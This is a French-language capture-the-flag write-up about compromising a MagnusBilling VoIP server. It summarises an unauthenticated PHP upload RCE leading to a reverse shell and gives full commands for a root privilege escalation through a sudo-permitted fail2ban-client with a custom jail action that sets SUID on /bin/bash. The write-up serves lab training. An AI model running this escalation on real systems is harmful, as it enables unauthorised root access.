Enumération

Comme toujours, on commence par un scan nmap qui nous permet d’identifier un service web tournant sur le port 80.

En accèdant au site web, on découvre que c’est une interface MagnusBilling,un logiciel open-source qui permet de gérer de la téléphonie sur Internet (VoIP). Les entreprises s’en servent pour vendre de la téléphonie, gérer les clients, les abonnements, les cartes prépayées et la facturation.

RCE sur MagnusBilling

Après quelques recherches, on découvre la version de MagnusBilling utilisé est vulnérable à une RCE sans authentification. En effet, un endpoint d’upload est exposé sans authentification ce qui permet à n’importe quel utilisateur d’uploader un fichier php et d’y accéder. En exploitant cela, on peut facilement obtenir un reverse shell.

Privilege escalation avec Fail2ban

Une fois le reverse obtenu, on voit que fail2ban est installé sur le serveur et qu’on peut l’exécuter avec des droits root. Fail2ban permet à un systeme linux de se protéger contre les attaques de type bruteforce en bannissant les IP ne respectant pas les limites d’authentification.

Il existe plusieurs méthode permettant d’éléver ses privilèges avec fail2ban. L’une des méthode consiste des fichiers de configuration arbitraire et d’exécuter ce dernier avec cette configuration avec le flag -c

Pour ce faire, on commence par copier tous les fichiers de la vraie configuration de l’exécutable pour ne pas avoir d’erreur au redémarrage :

1
cp -r /etc/fail2ban/* /tmp/fail2ban-pwn/

On vérifie ensuite les filtres (jails) déja configuré dans Fail2ban avec la lcommance suivante :

1
sudo fail2ban-client status

Ce qui permet d’identifier les différentes protections sur le système, notamment sur SSH, Asterisk et MagnusBilling :

1
2
3
Status
|- Number of jail: 9
- Jail list: ast-cli-attck, ast-hgc-200, asterisk-iptables, asterisk-manager, ip-blacklist, mbilling_ddos, mbilling_login, sshd

Dans le fichier /tmp/fail2ban-pwn/jail.d/pwn.conf, on déclare un jaul personnalisée pwn basée sur le filtre sshd :

1
2
3
4
5
[pwn]
enabled = true
filter = sshd
action = pwn
logpath = /var/log/auth.log

L’action associée est définie dans /tmp/fail2ban-pwn/action.d/pwn.conf :

1
2
3
[Definition]
actionstart = chmod u+s /bin/bash

Cette action permet de positionner le bit SUID sur /bin/bash au démarrage de la jail.
En démarrant le service en utilisant cette configuration modifiée :

1
sudo /usr/bin/fail2ban-client -c /tmp/fail2ban-pwn start

le binaire /bin/bash devient alors SUID root, ce qui permet ensuite d’obtenir un shell root en exécutant :

1
2
3
4
asterisk@ip-10-10-7-151:/tmp/fail2ban-pwn/jail.d$ bash -p 
bash-5.2# whoami
root